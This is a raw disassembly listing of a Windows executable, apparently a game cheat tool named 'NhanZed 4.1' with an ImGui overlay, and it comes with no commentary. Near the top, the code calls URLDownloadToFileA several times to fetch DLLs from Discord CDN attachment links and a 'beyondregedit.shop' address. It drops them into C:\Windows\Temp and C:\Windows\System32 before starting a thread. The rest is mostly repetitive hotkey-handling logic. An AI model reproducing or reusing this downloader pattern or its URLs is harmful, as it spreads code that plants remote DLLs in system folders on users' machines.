movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0xb0]
movzx eax, byte [0x1401458b0]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x48], al
movsd xmm0, qword [0x1401458a8]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145a00]
lea rax, [rbx + 0x145a00]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x20], r12
movups xmmword [rcx], xmm0
lea r8, [rbp - 0x60]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0xb0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x140145ac8]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movaps xmm1, xmmword [0x1401452f0]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm0, xmmword [0x140145300]
lea r8, [rbp - 0x60]
movzx eax, word [0x140145338]
lea rdx, [rbp + 0xb0]
movaps xmm1, xmmword [0x140145310]
xor r9d, r9d
movaps xmmword [rbp + 0xd0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140145320]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140145330]
movsd qword [rbp + 0x100], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0x108], ax
movzx eax, word [0x140144fa8]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x140144fa0]
movzx eax, byte [0x140144faa]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xe0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0x1a8]
movaps xmm1, xmmword [0x140145ae0]
lea rdx, [rbp + 0xb0]
mov eax, dword [0x140145b28]
xor r9d, r9d
movaps xmmword [rbp + 0xb0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140145af0]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm0, xmmword [0x140145b10]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140145b20]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm1, xmmword [0x140145b00]
mov dword [rbp + 0x108], eax
movzx eax, word [0x140145b2c]
movsd qword [rbp + 0x100], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0x10c], ax
movzx eax, byte [0x140145b2e]
movaps xmmword [rbp + 0xe0], xmm1
movups xmm1, xmmword [0x140145000]
mov byte [rbp + 0x10e], al
movups xmmword [rbp + 0x1a8], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x1b8], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__beyondregedit.shop_Chams_bCpj3Pd.dll]
mov eax, dword [0x140145b58]
xor r9d, r9d
movups xmm1, xmmword [0x140145b40]
mov dword [rbp + 0xa0], eax
lea r8, [rbp + 0x1a8]
movzx eax, byte [0x140145b5c]
lea rdx, [rbp + 0x78]
movups xmmword [rbp + 0x78], xmm0
xor ecx, ecx
mov byte [rbp + 0xa4], al
movsd xmm0, qword [0x140145b50]
movsd qword [rbp + 0x98], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32_bCpj3Pd.dll]
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x88], xmm1
movups xmm1, xmmword [0x140144fe0]
movups xmmword [rbp + 0x1a8], xmm0
movups xmmword [rbp + 0x1b8], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32chams.dll
lea rcx, [rbp + 0x1f70]
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x28], r12
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
lea r8, [0x140049550]
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [0x140202190]
call fcn.1400b4c10
cmp dword [0x1401d0ec0], r12d
jne 0x14004e9f5
call fcn.140055bf0
mov rcx, rax
call fcn.140055b50
mov dword [0x1401d0ec0], eax
call fcn.140055bf0
mov edx, dword [0x1401d0ec0]
mov rcx, rax
call fcn.140055a90
lea rcx, [0x140202190]
call fcn.1400b4c10
cmp byte [0x1402023a8], r12b
jne 0x14004ea4e
lea rcx, [0x1402023b0]
call fcn.140042dc0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x1400548e0]
mov qword [rsp + 0x2228], r14
mov edx, 0x7f00
mov qword [rbp + 0x278], rax
xor ecx, ecx
mov dword [rbp + 0x270], 0x50
mov dword [rbp + 0x274], 0x40
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x290], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x2a0], r12
mov qword [rbp + 0x298], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x2a8], rax
lea rax, str.NhanZed
mov qword [rbp + 0x2b0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x270]
mov qword [rbp + 0x2b8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
lea r8, str.NhanZed_4.1
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x2b0]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov qword [0x1401d0e90], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r14b, al
je 0x14004eb86
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x1401471d0]
lea rdx, [rbp + 0x930]
mov rcx, qword [0x1401d0e90]
movdqu xmmword [rbp + 0x930], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1401d0e90]
lea rdx, [0x1401d0eb0]
xorps xmm0, xmm0
movups xmmword [0x1401d0eb0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1401d0e90]
call fcn.1400546d0
test al, al
jne 0x14004ebf9
call fcn.140054860
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x2b0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x1400546ae
mov rcx, qword [0x1401d0e90]
mov edx, 0xa
mov qword [rsp + 0x2258], rdi
movaps xmmword [rsp + 0x2210], xmm6
movaps xmmword [rsp + 0x2200], xmm7
movaps xmmword [rsp + 0x21f0], xmm8
movaps xmmword [rsp + 0x21e0], xmm9
movaps xmmword [rsp + 0x21d0], xmm10
movaps xmmword [rsp + 0x21c0], xmm11
movaps xmmword [rsp + 0x21b0], xmm12
movaps xmmword [rsp + 0x21a0], xmm13
movaps xmmword [rsp + 0x2190], xmm14
movaps xmmword [rsp + 0x2180], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401d0e90]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140017130
xor ecx, ecx
call fcn.140006880
call fcn.1400088a0
lea rcx, [rbp + 0xd30]
mov rdi, rax
or dword [rax], 3
call fcn.14002a220
mov dword [rbp + 0xd7c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d440
movss xmm6, dword [0x140147078]
lea rdx, [0x14015e120]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xd30]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ad20
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401d0e78], rax
call fcn.14002d440
movss xmm3, dword [0x140147070]
lea rdx, [0x14015e120]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0xd30]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ad20
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d440
movss xmm3, dword [0x14014708c]
lea rdx, [0x1401abf10]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0xd30]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ad20
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401d0f08], rax
call fcn.14002d440
mov qword [rsp + 0x28], rax
lea rdx, [0x1401865b0]
lea rax, [rbp + 0xd30]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
mov rcx, rbx
call fcn.14002ad20
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401d0f00], rax
call fcn.14002d440
movss xmm3, dword [0x140147094]
lea rdx, [0x1401865b0]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0xd30]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ad20
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401d0e80], rax
call fcn.14002d440
movss xmm12, dword [0x140147084]
lea rdx, [0x1401ace50]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm12
lea rax, [rbp + 0xd30]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ad20
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401d0ef8], rax
call fcn.14002d440
movss xmm14, dword [0x1401470a0]
lea rdx, [0x1401ad7b0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm14
mov r8d, 0x20fe0
mov qword [rsp + 0x20], r12
mov rcx, rbx
call fcn.14002ad20
cmp qword [0x1401d0e60], r12
mov qword [rbp + 0x240], rax
jne 0x14004eef1
mov rcx, qword [0x1401d0ec8]
lea rax, [0x1401d0e60]
mov qword [rsp + 0x30], r12
lea r9, [0x1401cfbc8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401851d0]
mov qword [rsp + 0x20], rcx
mov r8d, 0x69a
mov rcx, qword [0x140206920]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401d0e50], r12
jne 0x14004ef38
mov rcx, qword [0x140206920]
lea rax, [0x1401d0e50]
mov qword [rsp + 0x30], r12
lea r9, [0x1401cfbc8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140184490]
mov rax, qword [0x1401d0ec8]
mov r8d, 0x69a
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401d0e58], r12
jne 0x14004ef7f
mov rcx, qword [0x140206920]
lea rax, [0x1401d0e58]
mov qword [rsp + 0x30], r12
lea r9, [0x1401cfbc8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140185870]
mov rax, qword [0x1401d0ec8]
mov r8d, 0x69a
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401d0e48], r12
jne 0x14004efc6
mov rcx, qword [0x140206920]
lea rax, [0x1401d0e48]
mov qword [rsp + 0x30], r12
lea r9, [0x1401cfbc8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140184b30]
mov rax, qword [0x1401d0ec8]
mov r8d, 0x69a
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401d0e68], r12
jne 0x14004f00d
mov rcx, qword [0x140206920]
lea rax, [0x1401d0e68]
mov qword [rsp + 0x30], r12
lea r9, [0x1401cfbc8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140185f10]
mov rax, qword [0x1401d0ec8]
mov r8d, 0x69a
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1401d0e90]
call fcn.1400450c0
mov rdx, qword [0x140206960]
mov rcx, qword [0x140206920]
call fcn.140044bf0
xorps xmm7, xmm7
lea rcx, [rbp + 0xce0]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm7
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001c20
movss xmm9, dword [0x140146ff0]
xor bl, bl
movss xmm15, dword [0x1401471ac]
movss xmm6, dword [0x1401470b4]
movss xmm8, dword [0x1401470c0]
movss xmm10, dword [0x140146fb8]
movss xmm11, dword [0x14014701c]
movss xmm13, dword [0x140147108]
mov qword [rsp + 0x2250], rsi
mov qword [rsp + 0x2260], r13
mov dword [rbp + 0x38], ebx
mov qword [rsp + 0x2220], r15
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, [rbp + 0xb70]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004f114
lea rcx, [rbp + 0xb70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xb70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xb78], 0x12
lea rcx, [rbp + 0xb70]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14004f0c3
mov dword [rbp + 0x38], ebx
test bl, bl
jne 0x1400545fd
mov ecx, Ordinal_50
call fcn.140049590
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.140049590
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.140049590
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.140049590
mov ecx, WSACleanup
mov byte [rsp + 0x62], al
call fcn.140049590
mov ecx, WSACleanup
mov byte [rsp + 0x63], al
call fcn.140049590
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x64], al
call fcn.140049590
mov ecx, 0x51
mov byte [rsp + 0x65], al
call fcn.140049590
mov ecx, 0x45
mov byte [rsp + 0x66], al
call fcn.140049590
cmp dword [0x1401d0ee4], 1
movzx ecx, al
movzx r9d, byte [0x1401d0dfe]
mov byte [rsp + 0x67], al
jne 0x14004f1be
test r13b, r13b
je 0x14004f1be
test r9b, r9b
jne 0x14004f1be
cmp byte [0x1401d0ea0], r9b
sete byte [0x1401d0ea0]
mov eax, dword [0x1401d0e2c]
movzx r10d, byte [0x1401d0ef1]
movzx r11d, byte [0x1401d0e8d]
movzx ebx, byte [0x1401d0e45]
movzx edi, byte [0x1401d0ea2]
movzx esi, byte [0x1401d0e89]
movzx r14d, byte [0x1401d0e1d]
movzx r15d, byte [0x1401d0e38]
movzx r12d, byte [0x1401d0e8e]
cmp eax, 1
jne 0x14004f23b
test r13b, r13b
je 0x14004f3f1
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x14004f401
cmp byte [0x1401d0ede], r9b
sete byte [0x1401d0ede]
jmp 0x14004f401
cmp eax, 2
jne 0x14004f274
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14004f3f6
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x14004f401
cmp byte [0x1401d0ede], r10b
sete byte [0x1401d0ede]
jmp 0x14004f401
cmp eax, 3
jne 0x14004f2ad
movzx edx, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test dl, dl
je 0x14004f401
test r11b, r11b
jne 0x14004f401
cmp byte [0x1401d0ede], r11b
sete byte [0x1401d0ede]
jmp 0x14004f401
cmp eax, 4
jne 0x14004f2e5
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x60]
test r8b, r8b
je 0x14004f3fc
movzx edx, byte [rsp + 0x61]
test bl, bl
jne 0x14004f401
cmp byte [0x1401d0ede], bl
sete byte [0x1401d0ede]
jmp 0x14004f401
cmp eax, 5
jne 0x14004f321
cmp byte [rsp + 0x63], 0
je 0x14004f3f1
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x14004f401
cmp byte [0x1401d0ede], dil
sete byte [0x1401d0ede]
jmp 0x14004f401
cmp eax, 6
jne 0x14004f35d
cmp byte [rsp + 0x64], 0
je 0x14004f3f1
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x14004f401
cmp byte [0x1401d0ede], sil
sete byte [0x1401d0ede]
jmp 0x14004f401
cmp eax, 7
jne 0x14004f392
cmp byte [rsp + 0x65], 0
je 0x14004f3f1
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x14004f401
cmp byte [0x1401d0ede], r14b
sete byte [0x1401d0ede]
jmp 0x14004f401
cmp eax, 8
jne 0x14004f3c3
cmp byte [rsp + 0x66], 0
je 0x14004f3f1
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x14004f401
cmp byte [0x1401d0ede], r15b
sete byte [0x1401d0ede]
jmp 0x14004f401
cmp eax, 9
jne 0x14004f3f1
test cl, cl
je 0x14004f3f1
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x14004f401
cmp byte [0x1401d0ede], r12b
sete byte [0x1401d0ede]
jmp 0x14004f401
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x61]
mov eax, dword [0x140206870]
cmp eax, 1
jne 0x14004f41d
test r13b, r13b
je 0x14004f4ae
test r9b, r9b
jmp 0x14004f49e
cmp eax, 2
jne 0x14004f42f
test cl, cl
je 0x14004f4ae
test r10b, r10b
jmp 0x14004f49e
cmp eax, 3
jne 0x14004f43d
test dl, dl
je 0x14004f4ae
test r11b, r11b
jmp 0x14004f49e
cmp eax, 4
jne 0x14004f44b
test r8b, r8b
je 0x14004f4ae
test bl, bl
jmp 0x14004f49e
cmp eax, 5
jne 0x14004f45c
cmp byte [rsp + 0x63], 0
je 0x14004f4ae
test dil, dil
jmp 0x14004f49e
cmp eax, 6
jne 0x14004f46d
cmp byte [rsp + 0x64], 0
je 0x14004f4ae
test sil, sil
jmp 0x14004f49e
cmp eax, 7
jne 0x14004f47e
cmp byte [rsp + 0x65], 0
je 0x14004f4ae
test r14b, r14b
jmp 0x14004f49e
cmp eax, 8
jne 0x14004f48f
cmp byte [rsp + 0x66], 0
je 0x14004f4ae
test r15b, r15b
jmp 0x14004f49e
cmp eax, 9
jne 0x14004f4ae
cmp byte [rsp + 0x67], 0
je 0x14004f4ae
test r12b, r12b
jne 0x14004f4ae
cmp byte [0x1401d0edd], 0
sete byte [0x1401d0edd]
mov eax, dword [0x1402068c0]
cmp eax, 1
jne 0x14004f4ca
test r13b, r13b
je 0x14004f55b
test r9b, r9b
jmp 0x14004f54b
cmp eax, 2
jne 0x14004f4dc
test cl, cl
je 0x14004f55b
test r10b, r10b
jmp 0x14004f54b
cmp eax, 3
jne 0x14004f4ea
test dl, dl
je 0x14004f55b
test r11b, r11b
jmp 0x14004f54b
cmp eax, 4
jne 0x14004f4f8
test r8b, r8b
je 0x14004f55b
test bl, bl
jmp 0x14004f54b
cmp eax, 5
jne 0x14004f509
cmp byte [rsp + 0x63], 0
je 0x14004f55b
test dil, dil
jmp 0x14004f54b
cmp eax, 6
jne 0x14004f51a
cmp byte [rsp + 0x64], 0
je 0x14004f55b
test sil, sil
jmp 0x14004f54b
cmp eax, 7
jne 0x14004f52b
cmp byte [rsp + 0x65], 0
je 0x14004f55b
test r14b, r14b
jmp 0x14004f54b
cmp eax, 8
jne 0x14004f53c
cmp byte [rsp + 0x66], 0
je 0x14004f55b
test r15b, r15b
jmp 0x14004f54b
cmp eax, 9
jne 0x14004f55b
cmp byte [rsp + 0x67], 0
je 0x14004f55b
test r12b, r12b
jne 0x14004f55b
cmp byte [0x1401d0ed7], 0
sete byte [0x1401d0ed7]
mov eax, dword [0x140206998]
cmp eax, 1
jne 0x14004f577
test r13b, r13b
je 0x14004f608
test r9b, r9b
jmp 0x14004f5f8
cmp eax, 2
jne 0x14004f589
test cl, cl
je 0x14004f608
test r10b, r10b
jmp 0x14004f5f8
cmp eax, 3
jne 0x14004f597
test dl, dl
je 0x14004f608
test r11b, r11b
jmp 0x14004f5f8
cmp eax, 4
jne 0x14004f5a5
test r8b, r8b
je 0x14004f608
test bl, bl
jmp 0x14004f5f8
cmp eax, 5
jne 0x14004f5b6
cmp byte [rsp + 0x63], 0
je 0x14004f608
test dil, dil
jmp 0x14004f5f8
cmp eax, 6
jne 0x14004f5c7
cmp byte [rsp + 0x64], 0
je 0x14004f608
test sil, sil
jmp 0x14004f5f8
cmp eax, 7
jne 0x14004f5d8
cmp byte [rsp + 0x65], 0
je 0x14004f608
test r14b, r14b
jmp 0x14004f5f8
cmp eax, 8
jne 0x14004f5e9
cmp byte [rsp + 0x66], 0
je 0x14004f608
test r15b, r15b
jmp 0x14004f5f8
cmp eax, 9
jne 0x14004f608
cmp byte [rsp + 0x67], 0
je 0x14004f608
test r12b, r12b
jne 0x14004f608
cmp byte [0x1401d0edb], 0
sete byte [0x1401d0edb]
mov eax, dword [0x140206804]
cmp eax, 1
jne 0x14004f624
test r13b, r13b
je 0x14004f6b5
test r9b, r9b
jmp 0x14004f6a5
cmp eax, 2
jne 0x14004f636
test cl, cl
je 0x14004f6b5
test r10b, r10b
jmp 0x14004f6a5
cmp eax, 3
jne 0x14004f644
test dl, dl
je 0x14004f6b5
test r11b, r11b
jmp 0x14004f6a5
cmp eax, 4
jne 0x14004f652
test r8b, r8b
je 0x14004f6b5
test bl, bl
jmp 0x14004f6a5
cmp eax, 5
jne 0x14004f663
cmp byte [rsp + 0x63], 0
je 0x14004f6b5
test dil, dil
jmp 0x14004f6a5
cmp eax, 6
jne 0x14004f674
cmp byte [rsp + 0x64], 0
je 0x14004f6b5
test sil, sil
jmp 0x14004f6a5
cmp eax, 7
jne 0x14004f685
cmp byte [rsp + 0x65], 0
je 0x14004f6b5
test r14b, r14b
jmp 0x14004f6a5
cmp eax, 8
jne 0x14004f696
cmp byte [rsp + 0x66], 0
je 0x14004f6b5
test r15b, r15b
jmp 0x14004f6a5
cmp eax, 9
jne 0x14004f6b5
cmp byte [rsp + 0x67], 0
je 0x14004f6b5
test r12b, r12b
jne 0x14004f6b5
cmp byte [0x1401d0ed9], 0
sete byte [0x1401d0ed9]
mov eax, dword [0x1401d0e3c]
cmp eax, 1
jne 0x14004f6d1
test r13b, r13b
je 0x14004f762
test r9b, r9b
jmp 0x14004f752
cmp eax, 2
jne 0x14004f6e3
test cl, cl
je 0x14004f762
test r10b, r10b
jmp 0x14004f752
cmp eax, 3
jne 0x14004f6f1
test dl, dl
je 0x14004f762
test r11b, r11b
jmp 0x14004f752
cmp eax, 4
jne 0x14004f6ff
test r8b, r8b
je 0x14004f762
test bl, bl
jmp 0x14004f752
cmp eax, 5
jne 0x14004f710
cmp byte [rsp + 0x63], 0
je 0x14004f762
test dil, dil
jmp 0x14004f752
cmp eax, 6
jne 0x14004f721
cmp byte [rsp + 0x64], 0
je 0x14004f762
test sil, sil
jmp 0x14004f752
cmp eax, 7
jne 0x14004f732
cmp byte [rsp + 0x65], 0
je 0x14004f762
test r14b, r14b
jmp 0x14004f752
cmp eax, 8
jne 0x14004f743
cmp byte [rsp + 0x66], 0
je 0x14004f762
test r15b, r15b
jmp 0x14004f752
cmp eax, 9
jne 0x14004f762
cmp byte [rsp + 0x67], 0
je 0x14004f762
test r12b, r12b
jne 0x14004f762
cmp byte [0x1401d0edf], 0
sete byte [0x1401d0edf]
mov eax, dword [0x1401d0e30]
cmp eax, 1
jne 0x14004f789
test r13b, r13b
je 0x14004f7e6
test r9b, r9b
jne 0x14004f7e6
cmp byte [0x1401d0ed6], 0
sete al
mov byte [0x1401d0ed6], al
jmp 0x14004f7ed
cmp eax, 2
jne 0x14004f797
test cl, cl
je 0x14004f7e6
test r10b, r10b
jmp 0x14004f775
cmp eax, 3
jne 0x14004f7a5
test dl, dl
je 0x14004f7e6
test r11b, r11b
jmp 0x14004f775
cmp eax, 4
jne 0x14004f7b3
test r8b, r8b
je 0x14004f7e6
test bl, bl
jmp 0x14004f775
cmp eax, 5
jne 0x14004f7c4
cmp byte [rsp + 0x63], 0
je 0x14004f7e6
test dil, dil
jmp 0x14004f775
cmp eax, 6
jne 0x14004f7d5
cmp byte [rsp + 0x64], 0
je 0x14004f7e6
test sil, sil
jmp 0x14004f775
cmp eax, 7
jne 0x14004f7e6
cmp byte [rsp + 0x65], 0
je 0x14004f7e6
test r14b, r14b
jmp 0x14004f775
movzx eax, byte [0x1401d0ed6]
mov edx, dword [0x1401d0e40]
cmp edx, 8
jne 0x14004f804
cmp byte [rsp + 0x66], 0
je 0x14004f81e
test r15b, r15b
jmp 0x14004f813
cmp edx, 9
jne 0x14004f81e
cmp byte [rsp + 0x67], 0
je 0x14004f81e
test r12b, r12b
jne 0x14004f81e
test al, al
sete byte [0x1401d0ed6]
mov r8d, dword [0x1401d0ec4]
cmp r8d, 1
jne 0x14004f852
test r13b, r13b
je 0x14004f8eb
test r9b, r9b
jne 0x14004f8eb
cmp byte [0x1401d0ed5], 0
sete cl
mov byte [0x1401d0ed5], cl
jmp 0x14004f8f2
cmp r8d, 2
jne 0x14004f865
test cl, cl
je 0x14004f8eb
test r10b, r10b
jmp 0x14004f837
cmp r8d, 3
jne 0x14004f877
cmp byte [rsp + 0x61], 0
je 0x14004f8eb
test r11b, r11b
jmp 0x14004f837
cmp r8d, 4
jne 0x14004f888
cmp byte [rsp + 0x62], 0
je 0x14004f8eb
test bl, bl
jmp 0x14004f837
cmp r8d, 5
jne 0x14004f89a
cmp byte [rsp + 0x63], 0
je 0x14004f8eb
test dil, dil
jmp 0x14004f837
cmp r8d, 6
jne 0x14004f8ac
cmp byte [rsp + 0x64], 0
